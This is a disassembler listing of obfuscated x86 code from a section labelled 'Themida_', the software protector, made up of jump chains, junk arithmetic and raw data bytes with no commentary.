; ---------------------------------------------------------------------------

loc_556F49:				; CODE XREF: Themida_:00567928j
		add	ecx, ebx
		sub	ecx, 40E7510Dh
		mov	[ecx], al
		push	dword ptr [esp]
		jmp	loc_56A0A0
; ---------------------------------------------------------------------------
		db 0Fh
		dd 607184h, 47E68100h, 0E978764Ch, 1053Bh
; ---------------------------------------------------------------------------

loc_556F6C:				; CODE XREF: Themida_:00562E61j
		or	dl, 87h
		push	ecx
		mov	ch, 63h
		jmp	loc_55E015
; ---------------------------------------------------------------------------

loc_556F77:				; CODE XREF: Themida_:00563828j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	3B7Eh
		jmp	loc_566B05
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 51E92404h, 0B7000114h, 2C772CB6h,	52F8288Eh
		dd 0C2FE41B2h, 0C050F280h, 8BE904EAh
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556FAB:				; CODE XREF: Themida_:00561E2Ej
					; Themida_:005665D2j
		sub	esp, 4
		mov	[esp], esi
		mov	si, 2BCEh
		push	small 90E3h
		pop	cx
		jmp	loc_55BCA4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F513E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556FCA:				; CODE XREF: Themida_:00556902j
					; Themida_:00569048j
		add	esp, 4
		xor	edi, 5108C8F9h
		sub	ebp, edi
		jmp	loc_55CA7F
; ---------------------------------------------------------------------------
word_556FDA	dw 8B66h		; DATA XREF: Themida_:005561CCo
		dd 0E950240Ch, 0B1B6h
; ---------------------------------------------------------------------------

loc_556FE4:				; CODE XREF: Themida_:0055B2CFj
		jnb	loc_55E9B5
		push	ecx
		push	ebp
		jmp	loc_559FB4
; ---------------------------------------------------------------------------
		db 8Ah,	0DEh, 8Bh
		db 0C8h
; ---------------------------------------------------------------------------

loc_556FF5:				; CODE XREF: Themida_:0055F4D5j
		or	ebx, edx
		jmp	loc_5641B4
; ---------------------------------------------------------------------------
		dd 0D148860Fh, 0C2810000h, 85ECBFBBh, 4E99BA52h, 814204E5h
		dd 0AE277CEAh, 0FA7AE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55701A:				; CODE XREF: Themida_:00561BDAj
		sub	eax, 3D758642h
		add	ebp, eax
		pop	eax
		sub	ebp, esi
		jmp	loc_55DA06
; ---------------------------------------------------------------------------

loc_557029:				; CODE XREF: Themida_:0055CF24j
		pop	edi
		shl	ecx, 3
		not	ecx
		neg	ecx
		jmp	loc_56D23A
; ---------------------------------------------------------------------------

loc_557036:				; CODE XREF: Themida_:0055B22Aj
		and	ecx, 167B4B3Ah
		add	ecx, 17EDCF59h
		and	ebp, ecx
		jmp	loc_5695BA
; ---------------------------------------------------------------------------

loc_557049:				; CODE XREF: Themida_:0056864Ej
		add	edi, eax
		pop	eax
		push	edx
		jmp	loc_557E9A
; ---------------------------------------------------------------------------

loc_557052:				; CODE XREF: Themida_:00564EDBj
		push	esi
		push	edx
		push	2EDC7E8Ah
		pop	edx
		mov	esi, 0B59A5DEh
		add	esi, edx
		jmp	loc_569042
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 21E865A6h, 0FFFF8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557071:				; CODE XREF: Themida_:0056828Ej
		add	edi, ecx
		push	ebp
		mov	ebp, 1B5C0CB7h
		add	edi, ebp
		jmp	loc_56B67E
; ---------------------------------------------------------------------------

loc_557080:				; CODE XREF: Themida_:005643D6j
		mov	[esp], ax
		xchg	bh, [esp]
		dec	bh
		xchg	bh, [esp]
		mov	ax, [esp]
		add	esp, 2
		not	al
		jmp	loc_566D73
; ---------------------------------------------------------------------------

loc_55709D:				; CODE XREF: Themida_:0055AC43j
		jmp	loc_55B870
; ---------------------------------------------------------------------------

loc_5570A2:				; CODE XREF: Themida_:00566306j
		pop	esp
		jmp	loc_55AF9C
; ---------------------------------------------------------------------------
aI4TSk9		db '┴4$T^ИK9',0
		align 2
		dw 0F930h
		dd 3060E9h
		db 0
; ---------------------------------------------------------------------------

loc_5570B9:				; CODE XREF: Themida_:0055FCC1j
		add	esp, 4
		and	esi, 4B127295h
		jge	loc_5591B1
		sub	esi, 53A94835h
		mov	eax, ebx
		mov	ebx, ebp

loc_5570D2:				; CODE XREF: Themida_:00568B1Cj
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5569ED
; ---------------------------------------------------------------------------
		db 29h,	0EFh, 5Dh
		dd 0C781DF01h, 69C47462h, 243C335Bh, 0A4A4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5570F1:				; CODE XREF: Themida_:0056100Fj
		pop	ecx
		add	bl, 57h
		jno	loc_55795E
		xor	bl, 6Ah
		jb	loc_5567BE
		dec	bl
		mov	dh, 0C8h
		and	al, 8Eh

loc_55710A:				; CODE XREF: Themida_:0055F5CEj
		pop	edi
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_56516B
; ---------------------------------------------------------------------------

loc_557115:				; CODE XREF: Themida_:0055EE93j
		add	edx, 4
		jmp	loc_56B177
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 22h
		dd 29718B3Ch, 236859C8h, 8900001Dh, 9FE92434h
		db 47h,	1, 0
; ---------------------------------------------------------------------------

loc_557133:				; CODE XREF: Themida_:0056691Bj
		mov	[esp], ebp
		jmp	loc_55A54B
; ---------------------------------------------------------------------------

loc_55713B:				; CODE XREF: Themida_:0055FBE4j
					; Themida_:00568745j
		push	esi
		mov	esi, 53A7569Dh
		sub	esi, 53A75699h
		add	edi, esi
		pop	esi
		push	ebp
		mov	ebp, 4
		sub	edi, 3420073Bh
		jmp	loc_55692B
; ---------------------------------------------------------------------------

loc_55715B:				; CODE XREF: Themida_:0055D573j
		jmp	loc_56B7F7
; ---------------------------------------------------------------------------

loc_557160:				; CODE XREF: Themida_:loc_568012j
		shl	eax, 6
		js	loc_56502C
		jmp	loc_56A793
; ---------------------------------------------------------------------------
		dw 8149h
		dd 706B94C1h
		db 0BAh
; ---------------------------------------------------------------------------

loc_557175:				; CODE XREF: Themida_:00566355j
		mov	[esp], esi
		jmp	loc_55F88E
; ---------------------------------------------------------------------------

loc_55717D:				; CODE XREF: Themida_:0055A9EDj
		pop	esp
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 768A7097h
		jmp	loc_55E544
; ---------------------------------------------------------------------------

loc_557195:				; CODE XREF: Themida_:0055D3ECj
		pop	esi
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_56569F
; ---------------------------------------------------------------------------

loc_5571A4:				; CODE XREF: Themida_:0055EEA3j
		shr	edi, 5
		js	loc_560571
		push	ebx
		mov	ebx, 1C15467Fh
		sub	edi, ebx
		mov	ebx, [esp]
		push	2E3Bh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55F232
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 33000000h,	1C31241Ch, 241C3324h, 0FFF49AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5571ED:				; CODE XREF: Themida_:0055E0B4j
					; Themida_:loc_568F21j
		inc	ebx
		jns	loc_55CD7C
		jmp	loc_56A68F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 47000000h
; ---------------------------------------------------------------------------

loc_557200:				; CODE XREF: Themida_:00558B76j
		pop	ebx
		push	ecx
		mov	ecx, 2E272796h
		not	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 4D630380h
		add	ecx, 14893546h
		add	edx, ecx
		pop	ecx
		add	edx, eax
		sub	edx, 77CD595Ch
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_565EE7
; ---------------------------------------------------------------------------

loc_557245:				; CODE XREF: Themida_:0055E739j
		shr	ah, 6
		jmp	loc_569D7A
; ---------------------------------------------------------------------------

loc_55724D:				; CODE XREF: Themida_:loc_569D2Dj
		shl	cl, 1
		and	cl, 2Dh
		jmp	loc_56A7EC
; ---------------------------------------------------------------------------
		db 5
		dd 45174399h, 562A1A05h, 78DA683Ah, 0C890000h, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h, 53A62193h
		dd 359C68h, 0DAC3E900h
		db 2 dup(0)
word_55728E	dw 55ADh		; DATA XREF: Themida_:00556180o
		dd 8D79F9BDh, 71BB0558h, 0E801393Fh, 93A2E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5572A2:				; CODE XREF: Themida_:0056B142j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_56950B
; ---------------------------------------------------------------------------

loc_5572B4:				; CODE XREF: Themida_:0056A5B0j
		pop	edi
		sub	ebx, 0CF10452h
		sub	ebx, 30114158h
		add	ebx, ecx
		add	ebx, 30114158h
		add	ebx, 0CF10452h
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5572DF:				; CODE XREF: Themida_:0055F0DEj
		pop	eax
		xor	ch, 45h
		sub	bl, 40h
		sub	bl, ch
		push	ecx
		jmp	loc_55DAE0
; ---------------------------------------------------------------------------
aSaibssb	db '©ИМ┴bSИb╢',0
		db 0
; ---------------------------------------------------------------------------

loc_5572F9:				; CODE XREF: Themida_:005633F0j
		push	esi
		jmp	loc_56D767
; ---------------------------------------------------------------------------

loc_5572FF:				; CODE XREF: Themida_:0055FD2Fj
		xchg	bl, ch
		dec	ch
		push	edx
		mov	dh, 11h
		jmp	loc_5641EB
; ---------------------------------------------------------------------------

loc_55730B:				; CODE XREF: Themida_:00568F01j
		push	edi
		mov	edi, 0A4B5489h
		sub	edi, 45A96820h
		jmp	loc_564562
; ---------------------------------------------------------------------------

loc_55731C:				; CODE XREF: Themida_:00557BA4j
		not	esi
		add	esi, 5D876DC4h
		shr	esi, 6
		jnp	loc_56C0E2
		add	esi, 22515F7Bh
		and	ebp, esi
		pop	esi
		sub	ebp, 76B65526h
		xor	ebp, 8D4DACDFh
		add	ecx, ebp
		jmp	loc_564D90
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0FFh
		dd 505F2434h, 405E089h,	5000000h, 4, 5C240487h,	13E72E9h
		db 0
; ---------------------------------------------------------------------------

loc_557365:				; CODE XREF: Themida_:loc_55698Ej
					; Themida_:0056375Fj
		mov	ch, 3Bh
		add	al, ch
		mov	cx, [esp]
		jmp	loc_560660
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 3A6B31ECh, 12F7815Ah, 1BC968Bh, 243C8BFAh, 79268h, 24348900h
		dd 0C681E689h, 4, 4EC268h, 240C8900h, 7E3930B9h, 81D1F750h
		dd 0C5548FE1h, 83E6E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5573AE:				; CODE XREF: Themida_:0055DA01j
		sub	[esp+8], edi
		sub	dword ptr [esp+8], 5DC22EFh
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], edi
		push	edx
		push	ebp
		jmp	loc_565295
; ---------------------------------------------------------------------------

loc_5573CB:				; CODE XREF: Themida_:0056D0FBj
		mov	esi, 1C2D1795h
		or	esi, 25DE740Dh
		jmp	loc_55BAE0
; ---------------------------------------------------------------------------

loc_5573DB:				; CODE XREF: Themida_:0056CAF8j
		sub	eax, 62533CE2h
		jmp	loc_56215B
; ---------------------------------------------------------------------------
		db 68h,	0DBh, 72h
		dd 34FF13A2h, 0E9575E24h, 0CF1Bh
; ---------------------------------------------------------------------------

loc_5573F4:				; CODE XREF: Themida_:0056188Aj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		push	ebx
		push	edx
		mov	dh, 0CFh
		jmp	loc_569429
; ---------------------------------------------------------------------------
		db 5, 0BFh, 57h
		dd 0C3E906A2h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55741B:				; CODE XREF: Themida_:0055C46Bj
		push	ebp
		jmp	loc_56A30D
; ---------------------------------------------------------------------------

loc_557421:				; CODE XREF: Themida_:0055B9E8j
					; Themida_:0055CB6Cj
		and	[edi+1Ch], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5566C1
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 0E56AE9h, 72EF8100h, 8B7F1139h, 0EC812404h
		dd 4, 0E9241C89h, 0A0FAh, 4BD555Fh, 81000000h, 9C70B6C7h
		dd 81EF011Eh, 9C70B6EFh, 0EF835D1Eh, 4ABBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557472:				; CODE XREF: Themida_:0055A168j
		add	esi, 27C0B975h
		add	edi, esi
		jmp	loc_565E42
; ---------------------------------------------------------------------------

loc_55747F:				; CODE XREF: Themida_:00565B5Bj
		push	ebx
		jmp	loc_565EBF
; ---------------------------------------------------------------------------

loc_557485:				; CODE XREF: Themida_:0055B86Bj
		push	dword ptr [esp]
		jmp	loc_563719
; ---------------------------------------------------------------------------

loc_55748D:				; CODE XREF: Themida_:0055D682j
		add	cl, 75h
		jnb	loc_5595D4
		jmp	loc_56C148
; ---------------------------------------------------------------------------
		db 57h
		dd 1572EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5574A1:				; CODE XREF: Themida_:00565421j
		pop	esp
		mov	[esp], esi
		mov	esi, 1
		and	eax, esi
		mov	esi, [esp]
		push	esi
		jmp	loc_56C839
; ---------------------------------------------------------------------------

loc_5574B5:				; CODE XREF: Themida_:005586E5j
		push	edx
		jmp	loc_558150
; ---------------------------------------------------------------------------

loc_5574BB:				; CODE XREF: Themida_:0055B950j
		mov	edx, esp
		add	edx, 4
		jmp	loc_55E477
; ---------------------------------------------------------------------------

loc_5574C8:				; CODE XREF: Themida_:loc_55CB7Dj
		push	ebp
		push	esi
		mov	esi, 2EA54260h
		mov	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56C0C4
; ---------------------------------------------------------------------------

loc_5574E0:				; CODE XREF: Themida_:00561CD7j
		mov	esp, [esp]
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	128Dh
		mov	[esp], esp
		push	69BFh
		jmp	loc_55AC3A
; ---------------------------------------------------------------------------

loc_557519:				; CODE XREF: Themida_:00559087j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_56574C
; ---------------------------------------------------------------------------

loc_557534:				; CODE XREF: Themida_:00558F69j
		push	4A13h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56D561
; ---------------------------------------------------------------------------

loc_557543:				; CODE XREF: Themida_:0055B79Aj
		sub	edi, ebx
		pop	ebx
		push	ebx
		push	eax
		push	edx
		mov	edx, 76E93D49h
		xor	edx, 55045F5Fh
		mov	eax, edx
		pop	edx
		mov	ebx, 74836809h
		sub	ebx, eax
		jmp	loc_564B05
; ---------------------------------------------------------------------------

loc_557563:				; CODE XREF: Themida_:0055C9C8j
		pop	esi
		push	36Dh
		mov	[esp], esi
		mov	esi, esp
		push	41D8h
		mov	[esp], eax
		push	edi
		push	6C12505Ah
		pop	edi
		shl	edi, 7
		jnz	loc_561B6B
		sub	edi, 5D2865A3h
		sub	esp, 4
		mov	[esp], ebx
		pop	edx

loc_557593:				; DATA XREF: Themida_:00556138o
		mov	cx, [esp]
		push	2B50h
		mov	[esp], edx
		push	318Dh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_562425
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 3C8704C7h, 0E9295C24h, 0E92434FFh, 1466Bh
; ---------------------------------------------------------------------------

loc_5575C4:				; CODE XREF: Themida_:0055ADDBj
		mov	[esp], edx
		mov	edx, 144C1D0Ch
		shl	edx, 6
		jmp	loc_564C8A
; ---------------------------------------------------------------------------

loc_5575D4:				; CODE XREF: Themida_:0055CF2Bj
		mov	ebx, [esp]
		jmp	loc_55B65E
; ---------------------------------------------------------------------------

loc_5575DC:				; CODE XREF: Themida_:00556499j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C853
; ---------------------------------------------------------------------------
		db 54h
		dd 4BB535Ah, 81000000h,	887F71C2h, 81DA010Bh, 887F71EAh
		dd 3430E90Bh
		db 2 dup(0)
word_557602	dw 0FF66h		; DATA XREF: Themida_:00556168o
		dd 0ECDDE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55760A:				; CODE XREF: Themida_:0055BCE5j
		neg	edx
		jmp	loc_55E43D
; ---------------------------------------------------------------------------

loc_557611:				; CODE XREF: Themida_:0055D8E5j
		neg	eax
		push	edx
		mov	edx, 641F57F2h
		dec	edx
		add	edx, 1
		shr	edx, 8
		add	edx, 5C291AACh
		or	eax, edx
		pop	edx
		sub	eax, 0FC0974A5h
		sub	edx, 18D53D24h
		sub	edx, 424E3CBCh
		jmp	loc_55979D
; ---------------------------------------------------------------------------

loc_55763F:				; CODE XREF: Themida_:00561688j
		push	eax
		jmp	loc_5672A6
; ---------------------------------------------------------------------------

loc_557645:				; CODE XREF: Themida_:0055651Cj
		mov	eax, 8899FCA1h
		jmp	loc_56531E
; ---------------------------------------------------------------------------

loc_55764F:				; CODE XREF: Themida_:0055F559j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_561BC2
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 5Ch
		dd 8131C02Dh, 83454DC6h, 0C1D6F73Fh, 32E904EEh,	0F00008Ch
		dd 10FF080h, 81D3F700h,	5808ECCBh, 7E3C11Bh, 0F13E850Fh
		dd 0BD55FFFFh, 82788B57h, 0F75DEB29h, 545756D3h
; ---------------------------------------------------------------------------

loc_5576A0:				; CODE XREF: Themida_:loc_567BA5j
		sub	ebx, 0BD619C7Ah
		mov	edi, ebx
		jmp	loc_55A0F0
; ---------------------------------------------------------------------------

loc_5576AD:				; CODE XREF: Themida_:00568B24j
		add	esp, 4
		sub	eax, ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6EA6AD5h
		dec	edi
		or	edi, 3C49520Eh
		dec	edi
		push	eax
		jmp	loc_55A404
; ---------------------------------------------------------------------------

loc_5576CE:				; CODE XREF: Themida_:0056A218j
		push	eax
		jmp	loc_566396
; ---------------------------------------------------------------------------

loc_5576D4:				; CODE XREF: Themida_:0055DE69j
		pop	edi
		push	eax
		mov	eax, 430F54E2h
		neg	eax
		xor	eax, 67A47510h
		sub	eax, 74B4410h
		not	eax
		xor	eax, 2BF66605h
		add	edi, eax
		pop	eax
		jmp	loc_55EF8D
; ---------------------------------------------------------------------------
		dw 0BDBBh
		dd 81619407h, 0AB0B0BF3h, 0B2EB8111h, 1703F0Ch,	241C8BD9h
		dd 4C481h, 0C1810000h, 4, 0CE84E9h
		db 0
; ---------------------------------------------------------------------------

loc_55771D:				; CODE XREF: Themida_:00561834j
		xor	edi, ebx
		pop	ebx
		add	edx, 268F0FCFh
		sub	edx, edi
		sub	edx, 268F0FCFh
		pop	edi
		jmp	loc_559D9D
; ---------------------------------------------------------------------------

loc_557734:				; CODE XREF: Themida_:0055B3B0j
		inc	esi
		jno	loc_558726
		not	esi
		xor	esi, 9A208CB7h
		mov	edi, esi
		add	bh, 5Ah
		push	ebx

loc_557749:				; CODE XREF: Themida_:00565715j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		and	[esp], ax
		pushf
		jmp	loc_55B0AB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 0E9000000h, 1556Eh
; ---------------------------------------------------------------------------

loc_557778:				; CODE XREF: Themida_:005600A4j
		and	bh, cl
		mov	cx, [esp]
		add	esp, 2
		inc	bh
		shl	bh, 1
		sub	bh, 1
		push	ecx
		mov	cl, bh
		not	cl
		mov	bh, cl
		pop	ecx
		jmp	loc_56C116
; ---------------------------------------------------------------------------
		dd 110B88BDh, 4EDC14Ah,	29A5C581h, 0E8211D9Bh, 5128E9h
		dd 24248B00h, 240C8B66h, 8904EC83h, 8B542434h, 1DE92434h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5577C3:				; CODE XREF: Themida_:0056C498j
		sub	edi, 1D3CFBD2h
		mov	ebx, edi
		pop	edi
		add	dword ptr [esp+4], 6B464DBDh
		jmp	loc_56BBF5
; ---------------------------------------------------------------------------

loc_5577D9:				; CODE XREF: Themida_:00566F21j
		push	ebx
		pop	edi
		jmp	loc_566BA0
; ---------------------------------------------------------------------------

loc_5577E0:				; CODE XREF: Themida_:00559C4Dj
		mov	edi, 7EFD4404h
		jmp	loc_56D596
; ---------------------------------------------------------------------------

loc_5577EA:				; CODE XREF: Themida_:0055D692j
		mov	eax, 39114C7h
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_55C631
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 42D0000h, 87000000h,	895C2404h, 0E2892414h, 4C281h
		dd 50E90000h
		db 11h,	1, 0
; ---------------------------------------------------------------------------

loc_557817:				; CODE XREF: Themida_:0056619Dj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56BBE6
; ---------------------------------------------------------------------------

loc_557826:				; CODE XREF: Themida_:00567A75j
		not	esi
		add	esi, 74D2063Fh
		sub	ebp, esi
		pop	esi
		sub	ebx, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		or	ebx, 1FDE698Dh
		neg	ebx
		push	6127h
		jmp	loc_5647A8
; ---------------------------------------------------------------------------

loc_55784D:				; CODE XREF: Themida_:00565F42j
		add	bl, 5Ah
		add	bl, 48h
		jmp	loc_558048
; ---------------------------------------------------------------------------

loc_557858:				; CODE XREF: Themida_:0055859Bj
		push	dword ptr [esp]
		jmp	loc_556623
; ---------------------------------------------------------------------------
dword_557860	dd 24048B66h, 68CA6856h, 8F540000h, 89562404h, 4C681E6h
					; DATA XREF: Themida_:0055627Co
		dd 81000000h, 4EEh, 24348700h, 2404895Ch, 4B8h,	24448100h
		dd 3E18E004h, 2444015Ah, 246C8104h, 3E18E004h, 0ED22E95Ah
		dd 0E958FFFFh, 15260h, 0F771E5BEh, 0FDB3E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5578B2:				; CODE XREF: Themida_:0055EE86j
		xor	ebp, [esp]
		jmp	loc_559D92
; ---------------------------------------------------------------------------

loc_5578BA:				; CODE XREF: Themida_:loc_56872Fj
		xor	eax, 60300084h
		mov	esi, eax
		jmp	loc_55938C
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 3E1C101h, 158BCE9h
		db 0
; ---------------------------------------------------------------------------

loc_5578D1:				; CODE XREF: Themida_:00562729j
		push	esi
		mov	esi, 2F0E733Ah
		not	esi
		not	esi
		not	esi
		neg	esi
		jle	loc_56BE76
		sub	esi, 0FFFFFFFFh
		jmp	loc_5565DE
; ---------------------------------------------------------------------------

loc_5578ED:				; CODE XREF: Themida_:00556EF5j
		mov	eax, ecx
		pop	ecx
		shr	eax, 1
		shl	eax, 8
		jnz	loc_5654A9
		or	eax, 1EE40268h
		jl	loc_561F41
		mov	ah, 0Bh
		pop	esp

loc_55790A:				; CODE XREF: Themida_:0055E033j
		xor	dword ptr [esp], 3E7D491Dh
		pop	eax
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_56D15F
; ---------------------------------------------------------------------------

loc_557922:				; CODE XREF: Themida_:005679C1j
		ja	loc_56199F
		add	ebp, 0FF97D292h
		jmp	loc_56A86A
; ---------------------------------------------------------------------------
		db 2Ch
		db 0EBh, 0Ch, 62h
; ---------------------------------------------------------------------------

loc_557937:				; CODE XREF: Themida_:0056D555j
		xchg	ecx, [esp]
		jmp	loc_566BA6
; ---------------------------------------------------------------------------
		db 0B8h
		dd 873EEE6Fh, 62E9C201h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55794B:				; CODE XREF: Themida_:00564D06j
		add	edx, 4
		jmp	loc_5699E6
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0F59CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55795E:				; CODE XREF: Themida_:005570F5j
		xor	bl, 6Ah
		jb	loc_568137
		dec	bl
		jl	loc_55AC20
		jmp	loc_5643CC
; ---------------------------------------------------------------------------

loc_557974:				; CODE XREF: Themida_:0055B2A4j
		push	dword ptr [esp]
		jmp	loc_558D45
; ---------------------------------------------------------------------------

loc_55797C:				; CODE XREF: Themida_:00569925j
		add	eax, ecx
		pop	ecx
		and	eax, 38BB5B77h
		not	eax
		shr	eax, 7
		sub	eax, 228757Dh
		sub	edx, 442A1881h
		jmp	loc_56BFFE
; ---------------------------------------------------------------------------

loc_557999:				; CODE XREF: Themida_:loc_564274j
		dec	dh
		jnz	loc_5668E2
		add	dh, 13h
		push	ecx
		mov	ch, 42h
		shl	ch, 8
		mov	ecx, ebp

loc_5579AC:				; CODE XREF: Themida_:0055E605j
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, 66141337h
		sub	[esp+8], edi
		pop	edi
		jmp	loc_55D9F3
; ---------------------------------------------------------------------------

loc_5579C3:				; CODE XREF: Themida_:0055B4DBj
		sub	dl, al
		pop	eax
		add	dl, 0E4h
		jmp	loc_558744
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 7435BE56h, 0D6F75213h, 0C3ADC681h, 0F301731Fh, 0EC83595Eh
		dd 240C8904h, 10883E9h
		db 0
; ---------------------------------------------------------------------------

loc_5579ED:				; CODE XREF: Themida_:0056CE9Ej
		sub	bh, 59h
		jmp	loc_562A0D
; ---------------------------------------------------------------------------
		db 5, 38h, 56h
		dd 815A0828h, 4ECh, 243C8900h, 732CE9h
		db 0
; ---------------------------------------------------------------------------

loc_557A09:				; CODE XREF: Themida_:0055A611j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	edx
		push	edi
		mov	edi, 37212118h
		not	edi
		sub	edi, 3F1361F6h
		sub	edi, 89CB7CEDh
		add	edx, 3B720249h
		add	edx, edi
		push	ebx
		mov	ebx, 6D007DFh
		sub	ebx, 692D4D10h
		sub	ebx, 308C58DDh
		dec	ebx
		sub	ebx, 31A45FA8h
		jmp	loc_56CA46
; ---------------------------------------------------------------------------
		db 80h
		dd 0DA00AAC3h, 0E92434FFh, 13099h
; ---------------------------------------------------------------------------

loc_557A5C:				; CODE XREF: Themida_:0056C532j
		jmp	loc_560CB9
; ---------------------------------------------------------------------------
		db 5, 0A2h, 0Dh
		dd 0BD55447Eh, 6ABF43AAh, 15A8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_557A71:				; CODE XREF: Themida_:0056A3F9j
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_557A89:				; CODE XREF: Themida_:0056145Aj
		add	dword ptr [esp+4], 15E876FFh
		jmp	loc_56D536
; ---------------------------------------------------------------------------

loc_557A96:				; CODE XREF: Themida_:0056348Fj
		add	ebx, ebp
		sub	ebx, 9C27DD0h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 8306CC4h
		jmp	loc_55F2C9
; ---------------------------------------------------------------------------
		db 58h,	86h, 0E5h
		dd 0E456866h, 24048966h, 12454F6h, 24048B66h, 3002C483h
		dd 30EC30E5h, 1FACE9E5h
		db 1, 0
; ---------------------------------------------------------------------------

loc_557AD2:				; CODE XREF: Themida_:0056720Bj
		sub	al, 9Fh
		add	al, bh
		add	al, 9Fh
		mov	ebx, [esp]
		add	esp, 4
		add	bl, 0Bh
		sub	esp, 2
		jmp	loc_56419A
; ---------------------------------------------------------------------------
a1Xh6		db '1фXhб6',0
		dd 243C8900h, 5A111FBFh, 0B6CF8178h, 0F76DCD11h, 42C0E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557B06:				; CODE XREF: Themida_:00564D3Cj
		add	esp, 4
		shl	ebx, 5
		neg	ebx
		add	ebx, 45104422h
		jmp	loc_558997
; ---------------------------------------------------------------------------
byte_557B19	db 66h,	8Bh, 4		; DATA XREF: Themida_:005561A0o
		dd 8B545724h, 50E9243Ch
		db 3Ah,	1, 0
; ---------------------------------------------------------------------------

loc_557B27:				; CODE XREF: Themida_:00562B97j
		mov	esi, [esp]
		add	esp, 4
		add	edx, eax
		jmp	loc_5645A9
; ---------------------------------------------------------------------------

loc_557B37:				; CODE XREF: Themida_:00563299j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4

loc_557B43:				; CODE XREF: Themida_:0055677Bj
		push	ebx
		push	eax
		push	0DF4h
		mov	[esp], ebp
		mov	ebp, 0AAE1C24h
		push	ecx
		mov	ecx, 756D6761h
		shl	ecx, 4
		add	ecx, 1
		push	108h
		mov	[esp], eax
		mov	eax, 7A1E24E0h
		neg	eax
		jns	loc_5593AD
		neg	eax
		jmp	loc_558826
; ---------------------------------------------------------------------------

loc_557B7D:				; CODE XREF: Themida_:0056B917j
		jmp	loc_566A94
; ---------------------------------------------------------------------------

